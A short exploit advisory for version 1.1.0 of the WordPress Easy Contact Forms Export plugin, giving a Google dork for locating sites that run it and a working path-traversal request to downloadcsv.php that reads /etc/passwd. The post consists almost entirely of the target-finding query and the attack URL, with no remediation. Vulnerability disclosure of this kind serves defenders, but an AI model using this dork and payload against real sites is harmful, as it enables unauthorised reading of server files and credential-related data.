WordPress Easy Contact Forms Export Plugin 1.1.0 Information Disclosure Vulnerability

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# Description : WordPress Plugins - Easy Contact Forms Export 
Information Disclosure Vulnerability
# Version : 1.1.0
# Link : http://wordpress.org/extend/easy-contact-forms-exporter/
# Plugins : 
http://downloads.wordpress.org/plugin/easy-contact-forms-exporter.zip
# Date : 26-05-2012
# Google Dork : inurl:/wp-content/plugins/easy-contact-forms-exporter/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
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Exploit :

http://www.exemple.com/wordpress/wp-content/plugins/easy-contact-forms-exporter/downloadcsv.php?file=../etc/passwd